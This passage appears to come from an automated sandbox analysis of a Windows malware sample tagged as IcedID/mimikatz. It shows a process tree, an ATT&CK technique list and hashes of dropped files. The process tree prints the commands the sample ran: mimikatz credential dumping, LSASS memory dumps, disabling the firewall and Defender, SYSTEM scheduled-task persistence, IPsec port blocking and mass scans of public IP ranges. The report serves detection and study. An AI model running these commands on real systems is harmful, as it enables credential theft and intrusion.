PID 2756 wrote to memory of 2912	2756	iyapfhp.exe	48
PID 2756 wrote to memory of 2912	2756	iyapfhp.exe	48
PID 2756 wrote to memory of 2912	2756	iyapfhp.exe	48
PID 2756 wrote to memory of 1800	2756	iyapfhp.exe	50
PID 2756 wrote to memory of 1800	2756	iyapfhp.exe	50
PID 2756 wrote to memory of 1800	2756	iyapfhp.exe	50
PID 2756 wrote to memory of 1800	2756	iyapfhp.exe	50
PID 1800 wrote to memory of 1756	1800	cmd.exe	52
PID 1800 wrote to memory of 1756	1800	cmd.exe	52
PID 1800 wrote to memory of 1756	1800	cmd.exe	52
PID 1800 wrote to memory of 1756	1800	cmd.exe	52
PID 1800 wrote to memory of 1756	1800	cmd.exe	52
PID 1800 wrote to memory of 1756	1800	cmd.exe	52
PID 1800 wrote to memory of 1756	1800	cmd.exe	52
PID 1756 wrote to memory of 1392	1756	wpcap.exe	53

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:344
- C:\Windows\TEMP\ieszltnbu\yetdzn.exe
  "C:\Windows\TEMP\ieszltnbu\yetdzn.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2096

C:\Users\Admin\AppData\Local\Temp\2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2352
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\kiprrupu\iyapfhp.exe
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1984
- - C:\Windows\kiprrupu\iyapfhp.exe
    C:\Windows\kiprrupu\iyapfhp.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2020

C:\Windows\kiprrupu\iyapfhp.exe
C:\Windows\kiprrupu\iyapfhp.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2288
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2612
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2724
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2640
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2180
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - Modifies data under HKEY_USERS
  PID:788
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\fvaftrpep\fiasmtlvz\wpcap.exe /S
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1800
- - C:\Windows\fvaftrpep\fiasmtlvz\wpcap.exe
    C:\Windows\fvaftrpep\fiasmtlvz\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1756
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1392
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1916
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2964
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2916
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2456
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:2016
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1852
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1720
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:828
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2584
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3016
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1632
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2356
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1872
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\fvaftrpep\fiasmtlvz\eizbestpy.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\fvaftrpep\fiasmtlvz\Scant.txt
  2⤵
  - Loads dropped DLL
  PID:1216
- - C:\Windows\fvaftrpep\fiasmtlvz\eizbestpy.exe
    C:\Windows\fvaftrpep\fiasmtlvz\eizbestpy.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\fvaftrpep\fiasmtlvz\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1052
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\fvaftrpep\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\fvaftrpep\Corporate\log.txt
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:1564
- - C:\Windows\fvaftrpep\Corporate\vfshost.exe
    C:\Windows\fvaftrpep\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1608
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "brzfpfljn" /ru system /tr "cmd /c C:\Windows\ime\iyapfhp.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1964
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1988
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "brzfpfljn" /ru system /tr "cmd /c C:\Windows\ime\iyapfhp.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "fiapulrlm" /ru system /tr "cmd /c echo Y|cacls C:\Windows\kiprrupu\iyapfhp.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:472
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1788
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "fiapulrlm" /ru system /tr "cmd /c echo Y|cacls C:\Windows\kiprrupu\iyapfhp.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2276
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "utllzrqfy" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ieszltnbu\yetdzn.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:884
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "utllzrqfy" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ieszltnbu\yetdzn.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2440
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:880
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2876
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - Modifies data under HKEY_USERS
  PID:2640
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2720
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - Modifies data under HKEY_USERS
  PID:2636
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:564
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - Modifies data under HKEY_USERS
  PID:2920
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - Modifies data under HKEY_USERS
  PID:488
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:1168
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:768
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:764
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1812
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2360
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:2264
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:2316
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:2500
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2028
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:900
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2392
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1652
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2432
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2248
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:1792
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1756
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1624
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:1048
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:1292
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:380
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  PID:1800
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    PID:2468
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2588
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:832
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:616
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1944
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1376
- C:\Windows\TEMP\fvaftrpep\bieqttlep.exe
  C:\Windows\TEMP\fvaftrpep\bieqttlep.exe -accepteula -mp 344 C:\Windows\TEMP\fvaftrpep\344.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2284
- C:\Windows\TEMP\fvaftrpep\bieqttlep.exe
  C:\Windows\TEMP\fvaftrpep\bieqttlep.exe -accepteula -mp 1108 C:\Windows\TEMP\fvaftrpep\1108.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- C:\Windows\TEMP\fvaftrpep\bieqttlep.exe
  C:\Windows\TEMP\fvaftrpep\bieqttlep.exe -accepteula -mp 1176 C:\Windows\TEMP\fvaftrpep\1176.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2276
- C:\Windows\TEMP\fvaftrpep\bieqttlep.exe
  C:\Windows\TEMP\fvaftrpep\bieqttlep.exe -accepteula -mp 1256 C:\Windows\TEMP\fvaftrpep\1256.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2364
- C:\Windows\TEMP\fvaftrpep\bieqttlep.exe
  C:\Windows\TEMP\fvaftrpep\bieqttlep.exe -accepteula -mp 1552 C:\Windows\TEMP\fvaftrpep\1552.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2780
- C:\Windows\TEMP\fvaftrpep\bieqttlep.exe
  C:\Windows\TEMP\fvaftrpep\bieqttlep.exe -accepteula -mp 1708 C:\Windows\TEMP\fvaftrpep\1708.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1168
- C:\Windows\TEMP\fvaftrpep\bieqttlep.exe
  C:\Windows\TEMP\fvaftrpep\bieqttlep.exe -accepteula -mp 2504 C:\Windows\TEMP\fvaftrpep\2504.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1664
- C:\Windows\TEMP\fvaftrpep\bieqttlep.exe
  C:\Windows\TEMP\fvaftrpep\bieqttlep.exe -accepteula -mp 2524 C:\Windows\TEMP\fvaftrpep\2524.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2244
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\fvaftrpep\fiasmtlvz\scan.bat
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2356
- - C:\Windows\fvaftrpep\fiasmtlvz\yznluuqri.exe
    yznluuqri.exe TCP 194.110.0.1 194.110.255.255 445 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:2392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1576

C:\Windows\SysWOW64\huzbeq.exe
C:\Windows\SysWOW64\huzbeq.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2280

C:\Windows\system32\taskeng.exe
taskeng.exe {A6DE126D-E7A4-4BC0-8524-F158619DA1AB} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:2180
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ieszltnbu\yetdzn.exe /p everyone:F
  2⤵
  PID:1120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2592
- - C:\Windows\system32\cacls.exe
    cacls C:\Windows\TEMP\ieszltnbu\yetdzn.exe /p everyone:F
    3⤵
    PID:596
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c C:\Windows\ime\iyapfhp.exe
  2⤵
  PID:1504
- - C:\Windows\ime\iyapfhp.exe
    C:\Windows\ime\iyapfhp.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious use of SetWindowsHookEx
    PID:1372
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\kiprrupu\iyapfhp.exe /p everyone:F
  2⤵
  PID:1500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2912
- - C:\Windows\system32\cacls.exe
    cacls C:\Windows\kiprrupu\iyapfhp.exe /p everyone:F
    3⤵
    PID:488
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ieszltnbu\yetdzn.exe /p everyone:F
  2⤵
  PID:3608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3900
- - C:\Windows\system32\cacls.exe
    cacls C:\Windows\TEMP\ieszltnbu\yetdzn.exe /p everyone:F
    3⤵
    PID:2424
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\kiprrupu\iyapfhp.exe /p everyone:F
  2⤵
  PID:4088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3992
- - C:\Windows\system32\cacls.exe
    cacls C:\Windows\kiprrupu\iyapfhp.exe /p everyone:F
    3⤵
    PID:2732
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c C:\Windows\ime\iyapfhp.exe
  2⤵
  PID:3888
- - C:\Windows\ime\iyapfhp.exe
    C:\Windows\ime\iyapfhp.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious use of SetWindowsHookEx
    PID:932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\fvaftrpep\1108.dmp

Filesize
1.4MB

MD5
36bc3d6ce6641d8a22760f27377238b9

SHA1
ccc5564325516037d7fefb55c9ec0ac3d0f5f38e

SHA256
6fc7d44007c5201347bff7fedcbcc9b923983cb38e344da069dec2fe5adad01b

SHA512
b9b8dc55ed0ccdcdd2604fa7c19dadd171c08addca059256dfb58e8b83b490cdb3f423ea714cc88bb527f59e1169451eff28896c40a41b4e2010379342c876e0

Download Submit
C:\Windows\TEMP\fvaftrpep\1176.dmp

Filesize
1.3MB

MD5
1cc32eb7d77b0148eca8c9bb022bece0

SHA1
51494d925e2ab3cb599befbd4b4e9fafbfcd2ea9

SHA256
76b80d5317a8d5f184099ee98ea1ad78ae4ee0b14f1592ec6e625fe1f12560ff

SHA512
4d08723801774c8bba18c6ae9c39a3761a6b55816baeed3b3788187b585cedb2833043abe23fb4e62f7ba6168c3504d27e69e946428fb17d1f1debb80ef95b3a

Download Submit
C:\Windows\TEMP\fvaftrpep\1256.dmp

Filesize
3.7MB

MD5
d87d60992dd0f6fbd15357febfc25406

SHA1
19b0bb030108ebe5d21b9a6231e42c6840a811ec

SHA256
751f36a8b2dc169bbf03179165bc42eeef02b26b2ef8370947407cd5e82a23a9

SHA512
2f8f5ad8890f817d914cc78a5cf528628ab55c4b2ba3568d1c31c8f8c8d417813bf50ed023b929e75249944b78826d807b64b906887fb3bf676cab3722540db1

Download Submit
C:\Windows\TEMP\fvaftrpep\1552.dmp

Filesize
2.1MB

MD5
4c3137a78f1f5f7a9ed93ae97483622f

SHA1
69981a34b1d56ae7042b6bad126a0eeb48bc9dee

SHA256
4d79ddf3e851ece0341c41de88cb3a947616ed534ec8699f9b822ccff65a9626

SHA512
d166d9702fe3f04acbe3dc90f7cd530c3cc7a5b0d83dd489e3b45c45245408afca8c3c96d7ccced1b7a7bd393c041ff978c157c598a5b5b0ff2eaaf2a5f85cc7

Download Submit
C:\Windows\TEMP\fvaftrpep\1708.dmp

Filesize
5.2MB

MD5
b47f2b149dd6138d55f0d4ff17cdaa1c

SHA1
dfa32ba1ff597258d9a67f3dc96fd8169c20f8c3

SHA256
838cd2a4b5d1d95948d556972f8e8137335e7ab1eb263d2fcb12662b2fea1441

SHA512
e1ca4a202d18ecb995cddebe765a1008bb2f210cdde40df382a3c8a6b7d4edcc91267810bcebd16e21f47a6fbcf790d92988a3a34c2a1477e7b45650372e12a1

Download Submit
C:\Windows\TEMP\fvaftrpep\2504.dmp

Filesize
6.4MB

MD5
75a331155e4883c159deb6528b67561d

SHA1
2d893c109403b0991827e9a3316088f131472e11

SHA256
3e0fb11f72fae408a1e1fbac775997b729fd48f31392be56cd8cdd0b59725897

SHA512
9220bedde9e00765da2ef9a679364f0326f059dac5af6bee9825ec3ec3d8232a1ae60289bf6bb05412188f965f42678558ffe895808256690d568236a0d49298

Download Submit
C:\Windows\TEMP\fvaftrpep\2524.dmp

Filesize
851KB

MD5
e78c38682f97d3cbebb38cffb48835c9

SHA1
76649c97d3f2d56dc862dab1a1a70a58560883ae

SHA256
219fd26e686a1d49c2150025a9a77829acd4dc628f6d100def526cf108f71724

SHA512
b80d456a5605d7dc861313d86a3d0b78e77305fb54990064b9ea19ef089527da5ec38a16b8fa4d046addc8d0a8b944f509246da178f89e4923cb2b6817720442

Download Submit
C:\Windows\TEMP\fvaftrpep\344.dmp

Filesize
4.6MB

MD5
2627ec95540f4cffb7bd11e4899c89eb

SHA1
826e53ccd04de4b4ee6a12dbc41e59c47be44ca1

SHA256
362dab1503c3ea67b033c2022b3338d9abfd39c3f22867deb9902c3e838960a9

SHA512
c19799eb3e1cdb1679c1fc8c9f265b3869d0cc6ab23ad91c9a406847459710d9e167ec80f1f3fb6f057ef6191a932c66c028d045ea59a7fe5556c95d6ce21bb3

Download Submit
C:\Windows\TEMP\ieszltnbu\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
